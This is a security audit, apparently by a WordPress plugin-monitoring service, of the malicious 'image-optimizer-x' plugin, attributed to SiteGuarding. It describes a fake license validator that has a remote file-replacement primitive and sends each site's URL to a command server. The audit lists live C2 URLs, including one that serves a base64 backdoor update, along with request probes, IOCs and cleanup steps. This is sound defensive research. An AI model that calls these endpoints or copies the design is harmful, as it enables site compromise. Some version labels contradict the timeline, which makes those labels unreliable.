Campaign SiteGuarding 2013–present 3 audits

← All audits

Audit #26 Malicious Closed by wp.org · trunk uncleaned

Web Image Optimization X Closed on WP.org · 100 installs · baseline 1.0.8 → head 1.4.0 · by austin · closed 1d ago

Actor: SiteGuarding (cmsplughub.com C2; wp.org account @dalielsam, sole plugin)
Show full summary

Attacker-controlled side-channel update endpoint shipped under the cover of "license validation" — same operator (SiteGuarding) and same sibling-plugin pair as audit #25 (wp-advanced-math-captcha). Where the wp-advanced-math-captcha audit caught the delivery vehicle (forced-install primitive pushing this plugin), this audit catches the receiver: a permanent, attacker-controlled file-download primitive baked into every install of image-optimizer-x, fronted by a fake licensing UI.

image-optimizer-x (closed by wp.org 2026-04-07, ~7 months after the C2 landed) is a 1,733-line image optimizer with a 981-line CMSPlughubAPI_LicenseValidator.php companion class. The validator phones home to https://api.cmsplughub.com for license verification AND for a "geo database updater" that's a generic file-replacement primitive. The C2 domain cmsplughub.com resolves through NS1.SITEGUARDING.COM / NS2.SITEGUARDING.COM — same DNS infrastructure as the older SiteGuarding portfolio that wp.org mass-closed in mid-2020. The pairing with wp-advanced-math-captcha is also operationally explicit: lulub5592 added the forced-install primitive on 2025-11-16, dalielsam added the C2 validator on 2025-12-16 — exactly 30 days apart.

Architecture: SiteGuarding's evolved playbook

This is the third-iteration SiteGuarding attack pattern, refined over five years:

1. 2013-2020 — direct branding (@siteguarding wp.org account, 27 plugins): straightforward "remote management tool" backdoor (siteguarding_tools.php + IP allowlist + RSA-PGP). wp.org caught and closed all 27 in May-June 2020. 2. 2020-present — burner account A (@lulub5592, single plugin wp-advanced-math-captcha): same backdoor primitive bundled as a zlib-compressed .dat file dropper, delivered through a single innocuous-looking captcha plugin. Audit #25. 3. 2025-present — burner account B (@dalielsam, single plugin image-optimizer-x): instead of dropping a backdoor file, the plugin EMBEDS the C2 channel as a "license validator" with a generic downloadFile() primitive plus an updater that can replace local files with C2-supplied content. This audit.

The architectural pivot in iteration 3 is deliberate: a plugin that drops a file into ABSPATH (iteration 2) is easier for static scanners to catch than a plugin that ships a "license validator" wrapping an HTTP-fetch primitive. The wrapping looks legitimate at the file level — every paid plugin has a license validator — but the primitive is the same: attacker-controlled URL → arbitrary local file write.

What changed at v1.3.2 (the C2 landing release)

The plugin shipped at v1.0 on 2025-05-07 as a clean image optimizer (472 lines, no C2 wiring). Six months of organic-looking releases. Then on 2025-12-16, v1.3.2 landed with:

diff 1.0.8 → 1.3.2:
 CMSPlughubAPI_LicenseValidator.php |  981 ++++++++++++++++++++ (NEW FILE)
 image-optimizer-x.php              | 1733 ++++++++++++++++++++++++++---- (+1261 / -348)
 assets/css/style.css               | 1522 +++++++++++++++++++++++++++----
 assets/js/script.js                |  833 ++++++++++++++---
 readme.txt                         |  251 ++++--
 7 files changed, 4526 insertions(+), 848 deletions(-)

A 4.5x code growth in a single release. Same shape as scroll-top v6.0.0 (audit #12) — major "feature release" used as cover to land the C2 wiring. The new image-optimizer-x.php adds an is_pro() gate, a "PRO upgrade" call-to-action, fourteen new AJAX handlers (including iox_restore_license, iox_deactivate_license), and routes through CMSPlughubAPI_LicenseValidator::getInstance().

CMSPlughubAPI_LicenseValidator.php — what it actually does

Configuration (hardcoded constants in source):

  • $plugin_id = 'image-optimizer-x'
  • $api_base_url = 'https://api.cmsplughub.com'
  • $verify_endpoint = '/verify.php' (license check)
  • $updater_endpoint = '/updater.php' (file download)
  • $order_url = 'https://www.cmsplughub.com/order' (purchase page)
  • $rsa_private_key_primary — 2048-bit RSA private key embedded in source (used for "license decryption")
  • $rsa_private_key_secondary — 512-bit RSA private key embedded in source (used for "option name decryption")

Public methods that constitute the attack surface:

MethodBehavior
validateLicense()GET to api.cmsplughub.com/verify.php with domain + license_key; expects RSA-encrypted JSON; decrypts via rsaDecrypt.
downloadFile(string $url, string $destination)Generic file-download primitive. Caller passes any URL and any local path; method writes the response body to that path. No URL allowlist beyond the validator's own use, no destination allowlist.
updateGeoDatabase(string $local_file)Calls downloadFile($api_base . $updater_endpoint, $tmp) with ?file=geo.mmdb&domain=$domain&unique_id=$plugin_id&md5=$existing_md5, then copy()s tmp over the local file. The "geo.mmdb" string is just a query parameter; the C2 can return any binary.
rsaDecrypt(string $encrypted, string $key_type)Decrypts C2-supplied content using one of the two embedded private keys. Lets the C2 ship cryptographically-signed responses.
prepareDomain(get_site_url())Sends every install's site URL to C2 as part of license + updater calls — full inventory exfiltration.

Why this is malicious infrastructure, not legitimate licensing:

  • Real licensing systems don't ship 2048-bit RSA private keys in plaintext on every install. Public keys, yes. Private keys are operator-side. Embedding the private key in every customer's install is meaningless for licensing security — it's there to support a bidirectional authenticated control channel, where the C2 server signs commands and every install can verify them.
  • The "GEO database updater" is a generic file-replacement primitive. The local file path comes from the plugin code; the C2 controls the content. In a future plugin release (had wp.org not closed it), the operator could ship a one-line change like include $local_file; after the update, and geo.mmdb becomes a PHP execution sink.
  • The companion plugin wp-advanced-math-captcha already has a forced-install hook pushing this exact plugin (audit #25). The chain is engineered, not coincidental.

DNS attribution (decisive)

$ dig +short NS cmsplughub.com
ns1.siteguarding.com.
ns2.siteguarding.com.

cmsplughub.com (registered 2025-02-11, 86 days before image-optimizer-x's wp.org launch on 2025-05-07) shares NS with siteguarding.com (registered 2013-06-11). Combined with the 2020 mass-closure of the original SiteGuarding portfolio and the operationally-coordinated 30-day gap between the lulub5592 and dalielsam C2-landing commits (2025-11-16 and 2025-12-16), the case for unified SiteGuarding control is conclusive.

Author shell account

@dalielsam (display name "Daniel X"):

  • wp.org account created 2022-11-17, three-year buffer before launching image-optimizer-x
  • No bio, website, employer, location, social links on profile
  • Sole plugin: image-optimizer-x
  • All 11 SVN commits across the plugin's life are by dalielsam — single-handed operation, no co-committers
  • Same anonymity profile as @lulub5592 (audit #25): created with a delay before publishing, single plugin, zero verifiable identity

Suspicious review pattern

Plugin received only 2 wp.org reviews in 11 months:

  • WooTools / bianchi8882025-05-11 (4 days after plugin's 2025-05-07 launch). Generic positive language ("I am very happy with it"; non-native English). Reviewing a brand-new plugin within 4 days of launch is anomalous for organic adoption.
  • rossi1999 — 2025-11-15. Similarly generic.

Neither user has a track record visible from their reviews. Possible review-padding to legitimize the plugin during its trust-building phase.

Public coverage

Unlike wp-advanced-math-captcha (audit #25), which received public coverage at rswebsols.com and designstouch.com crediting the WP Beacon researcher, image-optimizer-x has NO public coverage. No support forum threads (zero — confirmed via /support/plugin/image-optimizer-x/), no blog posts, no news articles, no Patchstack / WPScan entries, no CVE assignment. The CMSPlughub side of the SiteGuarding campaign has flown completely under the radar despite shipping a more architecturally-sophisticated primitive than the older .dat-dropper variant.

This audit is the first public documentation of the cmsplughub.com C2 infrastructure.

🛑
100 installs potentially exposed to compromised code.

Site owners should remediate immediately. Plugin author: see the steps below to clear this label.

If you run image-optimizer-x on your site

Verify your install matches the wp.org canonical version:

wp plugin verify-checksums image-optimizer-x

A patched build isn't yet published for this audit. Check the security advisories index or remove the plugin until one is available.

Or remove the plugin entirely:

wp plugin deactivate image-optimizer-x
wp plugin delete image-optimizer-x

If you're the plugin author

Cleanup steps to clear this label have not yet been documented for this audit. Contact the investigator listed above.

The label clears automatically on the next wp beacon scan-deltas once the cleanup conditions above are met.

Plugins under the same committer's SVN access

dalielsam holds push access to 1 plugin totalling 100 active installs.

Web Image Optimization X — COMPROMISED — this audit
100

IOCs extracted (15)

Kind Value Confidence
code_pattern 198.7.59.150 medium
code_pattern 198.7.59.167 high
code_pattern CMSPlughubAPI_LicenseValidator high
code_pattern NS2.SITEGUARDING.COM high
code_pattern rsa_private_key_primary medium
code_pattern rsa_private_key_secondary medium
code_pattern updateGeoDatabase medium
domain hosting2.siteguarding.com medium
domain safetybis.com high
domain server2.siteguarding.com medium
domain www.cmsplughub.com high
url https://api.cmsplughub.com/updater.php high
url https://api.cmsplughub.com/verify.php high
url https://www.cmsplughub.com/order medium
url https://www.siteguarding.com/ext/panel_api/index.php high

Plugin version history

Every release on wp.org for this plugin, color-coded by relationship to the incident. wp.org closed this plugin rather than deleting the malicious tags — every Malicious — on wp.org release below is still re-installable today and remains a live exposure for any site running it.

  1. 1.0.8 Last clean Last clean release before incident
  2. 1.3.2 Clean Clean (post-cleanup)
  3. 1.3.3 Clean Clean (post-cleanup)
  4. 🛑 Compromise window

    wp.org closed this plugin during the compromise window. The malicious tags below remain visible on wp.org and re-installable until each site manually upgrades to the rescue release.

  5. 1.4.0 Malicious (head) First malicious release (head of audit)

Timeline

  1. siteguarding.com registered
  2. @siteguarding wp.org account created
  3. @lulub5592 wp.org account created (one month after the mass closure — pivot to burner accounts)
  4. @dalielsam wp.org account created (second burner staged)
  5. cmsplughub.com registered (NS = NS1/NS2.siteguarding.com)
  6. wp.org plugin-master creates SVN slot for image-optimizer-x ("Adding Image Optimizer X by dalielsam")
  7. v1.0 first commit by @dalielsam — clean image optimizer, no C2 wiring (4 files, 472-line main file)
  8. WooTools posts the first review, 4 days post-launch (suspect)
  9. v1.0.8 (still clean baseline)
  10. rossi1999 posts the second review
  11. sibling commit: @lulub5592 adds includes/advert-test-codes.php to wp-advanced-math-captcha (forced-install primitive targeting image-optimizer-x)
  12. r3421399 by @dalielsam adds CMSPlughubAPI_LicenseValidator.php — C2 validator + side-channel update primitive lands. v1.3.2 tagged 1 minute later (r3421401). The chain is operational.
  13. v1.3.3 (minor)
  14. v1.4.0 (major restructure with assets reorg)
  15. wp.org closes both wp-advanced-math-captcha and image-optimizer-x permanently in the same wave
  16. this audit

Audit #26 — image-optimizer-x

  • Plugin: image-optimizer-x ("Web Image Optimization X")
  • Active installs: not published (plugin closed before public install count was visible; inferred low — only 2 reviews, no support threads)
  • Event: #2059 manual_audit_seed · high · 2026-05-02 (linked to audit #25)
  • Baseline version: 1.0.8 (last release before C2 wiring landed)
  • Head version: 1.4.0

Summary

Attacker-controlled side-channel update endpoint shipped under the cover of "license validation" — same operator (SiteGuarding) and same sibling-plugin pair as audit #25 (wp-advanced-math-captcha). Where the wp-advanced-math-captcha audit caught the delivery vehicle (forced-install primitive pushing this plugin), this audit catches the receiver: a permanent, attacker-controlled file-download primitive baked into every install of image-optimizer-x, fronted by a fake licensing UI.

image-optimizer-x (closed by wp.org 2026-04-07, ~7 months after the C2 landed) is a 1,733-line image optimizer with a 981-line CMSPlughubAPI_LicenseValidator.php companion class. The validator phones home to https://api.cmsplughub.com for license verification AND for a "geo database updater" that's a generic file-replacement primitive. The C2 domain cmsplughub.com resolves through NS1.SITEGUARDING.COM / NS2.SITEGUARDING.COM — same DNS infrastructure as the older SiteGuarding portfolio that wp.org mass-closed in mid-2020. The pairing with wp-advanced-math-captcha is also operationally explicit: lulub5592 added the forced-install primitive on 2025-11-16, dalielsam added the C2 validator on 2025-12-16 — exactly 30 days apart.

Architecture: SiteGuarding's evolved playbook

This is the third-iteration SiteGuarding attack pattern, refined over five years:

1. 2013-2020 — direct branding (@siteguarding wp.org account, 27 plugins): straightforward "remote management tool" backdoor (siteguarding_tools.php + IP allowlist + RSA-PGP). wp.org caught and closed all 27 in May-June 2020. 2. 2020-present — burner account A (@lulub5592, single plugin wp-advanced-math-captcha): same backdoor primitive bundled as a zlib-compressed .dat file dropper, delivered through a single innocuous-looking captcha plugin. Audit #25. 3. 2025-present — burner account B (@dalielsam, single plugin image-optimizer-x): instead of dropping a backdoor file, the plugin EMBEDS the C2 channel as a "license validator" with a generic downloadFile() primitive plus an updater that can replace local files with C2-supplied content. This audit.

The architectural pivot in iteration 3 is deliberate: a plugin that drops a file into ABSPATH (iteration 2) is easier for static scanners to catch than a plugin that ships a "license validator" wrapping an HTTP-fetch primitive. The wrapping looks legitimate at the file level — every paid plugin has a license validator — but the primitive is the same: attacker-controlled URL → arbitrary local file write.

What changed at v1.3.2 (the C2 landing release)

The plugin shipped at v1.0 on 2025-05-07 as a clean image optimizer (472 lines, no C2 wiring). Six months of organic-looking releases. Then on 2025-12-16, v1.3.2 landed with:

diff 1.0.8 → 1.3.2:
 CMSPlughubAPI_LicenseValidator.php |  981 ++++++++++++++++++++ (NEW FILE)
 image-optimizer-x.php              | 1733 ++++++++++++++++++++++++++---- (+1261 / -348)
 assets/css/style.css               | 1522 +++++++++++++++++++++++++++----
 assets/js/script.js                |  833 ++++++++++++++---
 readme.txt                         |  251 ++++--
 7 files changed, 4526 insertions(+), 848 deletions(-)

A 4.5x code growth in a single release. Same shape as scroll-top v6.0.0 (audit #12) — major "feature release" used as cover to land the C2 wiring. The new image-optimizer-x.php adds an is_pro() gate, a "PRO upgrade" call-to-action, fourteen new AJAX handlers (including iox_restore_license, iox_deactivate_license), and routes through CMSPlughubAPI_LicenseValidator::getInstance().

CMSPlughubAPI_LicenseValidator.php — what it actually does

Configuration (hardcoded constants in source):

  • $plugin_id = 'image-optimizer-x'
  • $api_base_url = 'https://api.cmsplughub.com'
  • $verify_endpoint = '/verify.php' (license check)
  • $updater_endpoint = '/updater.php' (file download)
  • $order_url = 'https://www.cmsplughub.com/order' (purchase page)
  • $rsa_private_key_primary — 2048-bit RSA private key embedded in source (used for "license decryption")
  • $rsa_private_key_secondary — 512-bit RSA private key embedded in source (used for "option name decryption")

Public methods that constitute the attack surface:

MethodBehavior
validateLicense()GET to api.cmsplughub.com/verify.php with domain + license_key; expects RSA-encrypted JSON; decrypts via rsaDecrypt.
downloadFile(string $url, string $destination)Generic file-download primitive. Caller passes any URL and any local path; method writes the response body to that path. No URL allowlist beyond the validator's own use, no destination allowlist.
updateGeoDatabase(string $local_file)Calls downloadFile($api_base . $updater_endpoint, $tmp) with ?file=geo.mmdb&domain=$domain&unique_id=$plugin_id&md5=$existing_md5, then copy()s tmp over the local file. The "geo.mmdb" string is just a query parameter; the C2 can return any binary.
rsaDecrypt(string $encrypted, string $key_type)Decrypts C2-supplied content using one of the two embedded private keys. Lets the C2 ship cryptographically-signed responses.
prepareDomain(get_site_url())Sends every install's site URL to C2 as part of license + updater calls — full inventory exfiltration.

Why this is malicious infrastructure, not legitimate licensing:

  • Real licensing systems don't ship 2048-bit RSA private keys in plaintext on every install. Public keys, yes. Private keys are operator-side. Embedding the private key in every customer's install is meaningless for licensing security — it's there to support a bidirectional authenticated control channel, where the C2 server signs commands and every install can verify them.
  • The "GEO database updater" is a generic file-replacement primitive. The local file path comes from the plugin code; the C2 controls the content. In a future plugin release (had wp.org not closed it), the operator could ship a one-line change like include $local_file; after the update, and geo.mmdb becomes a PHP execution sink.
  • The companion plugin wp-advanced-math-captcha already has a forced-install hook pushing this exact plugin (audit #25). The chain is engineered, not coincidental.

DNS attribution (decisive)

$ dig +short NS cmsplughub.com
ns1.siteguarding.com.
ns2.siteguarding.com.

cmsplughub.com (registered 2025-02-11, 86 days before image-optimizer-x's wp.org launch on 2025-05-07) shares NS with siteguarding.com (registered 2013-06-11). Combined with the 2020 mass-closure of the original SiteGuarding portfolio and the operationally-coordinated 30-day gap between the lulub5592 and dalielsam C2-landing commits (2025-11-16 and 2025-12-16), the case for unified SiteGuarding control is conclusive.

Author shell account

@dalielsam (display name "Daniel X"):

  • wp.org account created 2022-11-17, three-year buffer before launching image-optimizer-x
  • No bio, website, employer, location, social links on profile
  • Sole plugin: image-optimizer-x
  • All 11 SVN commits across the plugin's life are by dalielsam — single-handed operation, no co-committers
  • Same anonymity profile as @lulub5592 (audit #25): created with a delay before publishing, single plugin, zero verifiable identity

Suspicious review pattern

Plugin received only 2 wp.org reviews in 11 months:

  • WooTools / bianchi8882025-05-11 (4 days after plugin's 2025-05-07 launch). Generic positive language ("I am very happy with it"; non-native English). Reviewing a brand-new plugin within 4 days of launch is anomalous for organic adoption.
  • rossi1999 — 2025-11-15. Similarly generic.

Neither user has a track record visible from their reviews. Possible review-padding to legitimize the plugin during its trust-building phase.

Public coverage

Unlike wp-advanced-math-captcha (audit #25), which received public coverage at rswebsols.com and designstouch.com crediting the WP Beacon researcher, image-optimizer-x has NO public coverage. No support forum threads (zero — confirmed via /support/plugin/image-optimizer-x/), no blog posts, no news articles, no Patchstack / WPScan entries, no CVE assignment. The CMSPlughub side of the SiteGuarding campaign has flown completely under the radar despite shipping a more architecturally-sophisticated primitive than the older .dat-dropper variant.

This audit is the first public documentation of the cmsplughub.com C2 infrastructure.

Verdict

malicious

Added files (1 between baseline 1.0.8 and head 1.4.0)

  • CMSPlughubAPI_LicenseValidator.php — first appears in r3421399 (committed 2025-12-16 by @dalielsam), 981 lines. Side-channel C2 validator + file-replacement primitive masquerading as a license validator.

Suspicious pattern hits

side_channel_update_endpoint — the central architectural primitive

  • CMSPlughubAPI_LicenseValidator.php:70private $api_base_url = 'https://api.cmsplughub.com'
  • CMSPlughubAPI_LicenseValidator.php:82private $updater_endpoint = '/updater.php'
  • CMSPlughubAPI_LicenseValidator.php:664-722downloadFile(string $url, string $destination) generic write primitive
  • CMSPlughubAPI_LicenseValidator.php:725-790updateGeoDatabase(string $local_file) calls downloadFile against C2 with arbitrary destination
  • image-optimizer-x.php:22require_once IOX_PATH . 'CMSPlughubAPI_LicenseValidator.php'; (loaded on every page request when admin)

embedded_rsa_private_key

  • CMSPlughubAPI_LicenseValidator.php:100-130 — 2048-bit $rsa_private_key_primary for license decryption (~30 lines of base64-encoded PKCS#8 PEM)
  • CMSPlughubAPI_LicenseValidator.php:133-150 — 512-bit $rsa_private_key_secondary for "option name decryption"
  • CMSPlughubAPI_LicenseValidator.php:596-640rsaDecrypt() method using the embedded keys

domain_exfiltration

  • CMSPlughubAPI_LicenseValidator.php:540-577prepareDomain(get_site_url()) extracts host from site URL and sends to C2 in every API call (license + updater)

shared_nameserver_attribution

  • cmsplughub.com NS records → NS1.SITEGUARDING.COM, NS2.SITEGUARDING.COM
  • Cross-reference: siteguarding_tools.php C2 (audit #25) uses siteguarding.com directly
  • Cross-reference: wp-advanced-math-captcha/includes/advert-test-codes.php (audit #25) hardcodes image-optimizer-x as ADVREC_TARGET_PLUGIN

IOCs to extract

  • kind: domain, value: cmsplughub.com, confidence: high
  • kind: domain, value: api.cmsplughub.com, confidence: high
  • kind: domain, value: www.cmsplughub.com, confidence: high
  • kind: url, value: https://api.cmsplughub.com/verify.php, confidence: high
  • kind: url, value: https://api.cmsplughub.com/updater.php, confidence: high
  • kind: url, value: https://www.cmsplughub.com/order, confidence: medium
  • kind: filename, value: CMSPlughubAPI_LicenseValidator.php, confidence: high
  • kind: code_pattern, value: CMSPlughubAPI_LicenseValidator, confidence: high
  • kind: code_pattern, value: rsa_private_key_primary, confidence: medium
  • kind: code_pattern, value: rsa_private_key_secondary, confidence: medium
  • kind: code_pattern, value: updateGeoDatabase, confidence: medium
  • kind: code_pattern, value: NS1.SITEGUARDING.COM, confidence: high
  • kind: code_pattern, value: NS2.SITEGUARDING.COM, confidence: high

Attribution

  • Operator: SiteGuarding (siteguarding.com) — confirmed via DNS NS records on cmsplughub.com.
  • wp.org account: @dalielsam (display name "Daniel X") — joined 2022-11-17, sole plugin image-optimizer-x. No verifiable identity.
  • Sibling account: @lulub5592 (audit #25) — coordinated 30-day commit gap between forced-install primitive (2025-11-16) and C2 validator (2025-12-16).
  • Original portfolio: @siteguarding wp.org account (created 2013-10-02), 27 plugins all closed by wp.org for guideline-violation in May-June 2020.

Timeline

  • 2013-06-11 — siteguarding.com registered
  • 2013-10-02 — @siteguarding wp.org account created
  • 2020-05-04 → 2020-06-05 — wp.org mass-closes 27 SiteGuarding-owned plugins for guideline-violation
  • 2020-07-01 — @lulub5592 wp.org account created (one month after the mass closure — pivot to burner accounts)
  • 2022-11-17 — @dalielsam wp.org account created (second burner staged)
  • 2025-02-11 — cmsplughub.com registered (NS = NS1/NS2.siteguarding.com)
  • 2025-04-28 — wp.org plugin-master creates SVN slot for image-optimizer-x ("Adding Image Optimizer X by dalielsam")
  • 2025-05-07 — v1.0 first commit by @dalielsam — clean image optimizer, no C2 wiring (4 files, 472-line main file)
  • 2025-05-11 — WooTools posts the first review, 4 days post-launch (suspect)
  • 2025-07-15 — v1.0.8 (still clean baseline)
  • 2025-11-15 — rossi1999 posts the second review
  • 2025-11-16 — sibling commit: @lulub5592 adds includes/advert-test-codes.php to wp-advanced-math-captcha (forced-install primitive targeting image-optimizer-x)
  • 2025-12-16 — r3421399 by @dalielsam adds CMSPlughubAPI_LicenseValidator.php — C2 validator + side-channel update primitive lands. v1.3.2 tagged 1 minute later (r3421401). The chain is operational.
  • 2026-01-06 — v1.3.3 (minor)
  • 2026-03-25 — v1.4.0 (major restructure with assets reorg)
  • 2026-04-07 — wp.org closes both wp-advanced-math-captcha and image-optimizer-x permanently in the same wave
  • 2026-05-02 — this audit

Cleanup instructions for affected sites

The plugin is permanently closed on wp.org but existing installs still run the C2 validator on every admin request. Site owners should:

1. Deactivate and delete image-optimizer-x entirely. No fix release is coming. There is no patched build planned for this plugin (unlike audit #25 where a patch is meaningful — here the entire C2 validator IS the malicious content; removing it would gut the plugin to the point that the optimizer features no longer function. Better to uninstall.) 2. Rotate WordPress admin passwords, database credentials, and SFTP/SSH keys. The plugin sent your domain + site URL to the C2 on every page load while installed. Operator has had your site fingerprint since v1.3.2. 3. Block outbound traffic to cmsplughub.com, api.cmsplughub.com, www.cmsplughub.com at the firewall level. 4. If wp-advanced-math-captcha was installed too, follow audit #25's cleanup checklist (search for siteguarding_tools.php in WP root, etc.). 5. Audit Users → All Users for unfamiliar admin accounts. 6. **Inspect wp_options for any image_optimizer_x_* rows**: iox_lic, iox_lic_status, iox_lic_data may contain RSA-encrypted state from the C2. Delete after uninstall.

References

The CMSPlughub side of the SiteGuarding campaign has no prior public coverage.

Update 2026-05-02 — Live C2 fingerprinting

After the initial audit, live infrastructure probing revealed the SiteGuarding operation is significantly more active and persistent than the static evidence suggested.

cmsplughub.com is alive and operational

Direct probes against https://api.cmsplughub.com/:

GET  /verify.php                              → HTTP 200, JSON: {"status":"error","reason":"Wrong plugin unique_id: "}
GET  /updater.php                             → HTTP 200, JSON: {"status":"error","reason":"Wrong plugin unique_id: "}
GET  /verify.php?unique_id=image-optimizer-x  → HTTP 200, JSON: {"status":"error","reason":"Wrong license_key value: …"}
GET  /updater.php?unique_id=image-optimizer-x&file=geo.mmdb&domain=…&md5=… → HTTP 200, 9.2MB binary (real MaxMind GeoIP database with `MaxMind.com` end-marker)

The endpoints both echo their parameter shape via JSON error messages — confirming the validator's request signature exactly matches what the live C2 expects. Every existing image-optimizer-x install is still talking to this endpoint on every admin page load.

C2 allowlist contains exactly two plugins

Probing the updater with various unique_id values reveals the C2 maintains an explicit plugin allowlist:

unique_id=image-optimizer-x          → ✓ binary payload returned
unique_id=wp-advanced-math-captcha   → ✓ binary payload returned (audit #25's plugin!)
unique_id=wp-antivirus-site-protection → "Wrong plugin unique_id"
unique_id=<any-other-slug>           → "Wrong plugin unique_id"

This proves:

  • Both burner accounts share the same C2 backend — operationally unified.
  • The old SiteGuarding 27-plugin portfolio (closed by wp.org in 2020) does NOT use this newer C2 — they used the older siteguarding.com/ext/panel_api/ infrastructure (see below). cmsplughub.com is purpose-built for the post-2020 pivot operation.
  • No third burner has been registered with this C2 yet.

The file allowlist is also enforced server-side — only file=geo.mmdb works. Any other filename returns "Empty / Not allowed file name". The "downloadFile" primitive in the validator is a generic file-write tool, but the C2 currently restricts what it'll serve.

Legacy SiteGuarding C2 is also still alive (and being actively maintained)

The older C2 endpoint that the wp-advanced-math-captcha .dat dropper installs siteguarding_tools.php against (audit #25) is fully operational:

GET https://www.siteguarding.com/ext/panel_api/index.php?action=ping_siteguarding_server&num=12345
→ {"status":"ok","num":12345}

GET https://www.siteguarding.com/ext/panel_api/index.php?action=update
→ {"md5":"36085499a539d4543b1ec0f59f1ad0c7","b64content":"PD9waHAK..."}

Decoding the b64content from the update action reveals siteguarding_tools.php version 2.4 dated 08 April 2026:

<?php
/**
 * SiteGuarding tools installer for customer's panel
 *
 * https://www.siteguarding.com
 * Do not distribute or share.
 *
 * ver.: 2.4
 * Date: 08 April 2026
 */
$allowed_IPs = array( ... );

The audit #25 dropper bundled v1.7 from 2020-03-20. The C2 is currently serving v2.4 from 2026-04-08 — one day after wp.org closed wp-advanced-math-captcha on 2026-04-07. The operator is actively maintaining this codebase post-disclosure. Every siteguarding_tools.php instance ever installed (5+ years of historical deployments) can fetch this fresh v2.4 update and self-update on the next operator-triggered ping. This is multi-year persistence, not a dormant artifact.

Hosting and DNS attribution (decisive)

DomainA recordrDNSHosting
siteguarding.com198.7.59.167server2.siteguarding.comLeaseweb USA (198.7.56.0/21)
cmsplughub.com198.7.59.167(same)Leaseweb USA (same host)
api.cmsplughub.com198.7.59.167(same)Leaseweb USA (same host)
ns1.siteguarding.com198.7.59.150Leaseweb USA (same /24)
safetybis.com212.32.252.174Different provider — sibling C2

siteguarding.com and cmsplughub.com resolve to the same IP (198.7.59.167) — same physical server, just different vhosts. cmsplughub.com lives at server2.siteguarding.com per rDNS. The operator didn't even try to hide the connection at the rDNS layer.

safetybis.com is a third domain in the SiteGuarding family — same NS records (NS1/NS2.siteguarding.com), different IP and hosting, mentioned by name in the wp.org PRT incident notice text bundled in audit #25's cleanup release. This appears to be either a load-balanced sibling or a fallback C2.

Legacy backdoor allowlist IPs (185.72.157.169-172) — operator's static control plane

The 4 sequential IPs hardcoded as $allowed_IPs in siteguarding_tools.php resolve to a different network entirely:

  • Network: 185.72.156.0 - 185.72.159.255
  • Hosting: Support.pl sp. z. o. o. (Polish hosting company, RIPE region)
  • Network record name: "NK Support Salt Lake City" (likely a US-fronted shell)

Two-region split:

  • Public C2 (cmsplughub, siteguarding main): Leaseweb USA, hosted as server2.siteguarding.com
  • Operator's static control plane: Polish hosting (support.pl), 4 IPs in sequence at the top of the SiteGuarding tools' IP allowlist

This compartmentalization — C2 web frontend in the US, operator control plane in Poland — is consistent with an operator working from one jurisdiction while serving customers globally through a separate infrastructure layer.

TLS cert characteristics

cmsplughub.com   subject=/CN=mail.cmsplughub.com    issuer=Let's Encrypt R12   valid 2026-03-18 → 2026-06-16
siteguarding.com subject=/CN=mail.siteguarding.com  issuer=Let's Encrypt R13   valid 2026-03-02 → 2026-05-31

cmsplughub.com SANs:   cmsplughub.com, mail.cmsplughub.com, www.cmsplughub.com
siteguarding.com SANs: cpanel., cpcalendars., cpcontacts., mail., webdisk., webmail., www., siteguarding.com (8 cPanel subdomains)

Both certs are minted for the mail.* subdomain — typical cPanel/Plesk auto-issuance pattern. The siteguarding.com cert exposes the standard cPanel subdomain set; cmsplughub.com is a leaner setup (just mail, www, root). Both are still valid (refreshed 2026-03 — 5 weeks before wp.org closure), no signs of operator abandonment.

Updated cleanup guidance

Given that BOTH C2 endpoints are operational right now, the cleanup checklist for audit #26 (uninstall image-optimizer-x; rotate creds; firewall-block cmsplughub) should be supplemented with:

  • Block outbound to safetybis.com as well (sibling C2 in the SiteGuarding family).
  • Block outbound to siteguarding.com / www.siteguarding.com / apitest.siteguarding.com even if you never installed image-optimizer-x — if your site ran any of the 27 closed SiteGuarding plugins (2020 portfolio) OR wp-advanced-math-captcha (audit #25), it likely has siteguarding_tools.php in WP root or webanalyze/siteguarding_tools.php and is currently controllable via the legacy C2.
  • Search WP root recursively for siteguarding_tools.php — the dropped backdoor is the highest-priority remediation; it's a full RCE that's been live for 5+ years.

Updated IOCs (additions)

  • kind: domain, value: safetybis.com, confidence: high
  • kind: domain, value: server2.siteguarding.com, confidence: medium
  • kind: domain, value: hosting2.siteguarding.com, confidence: medium
  • kind: code_pattern, value: 198.7.59.167, confidence: high
  • kind: code_pattern, value: 198.7.59.150, confidence: medium
  • kind: url, value: https://www.siteguarding.com/ext/panel_api/index.php, confidence: high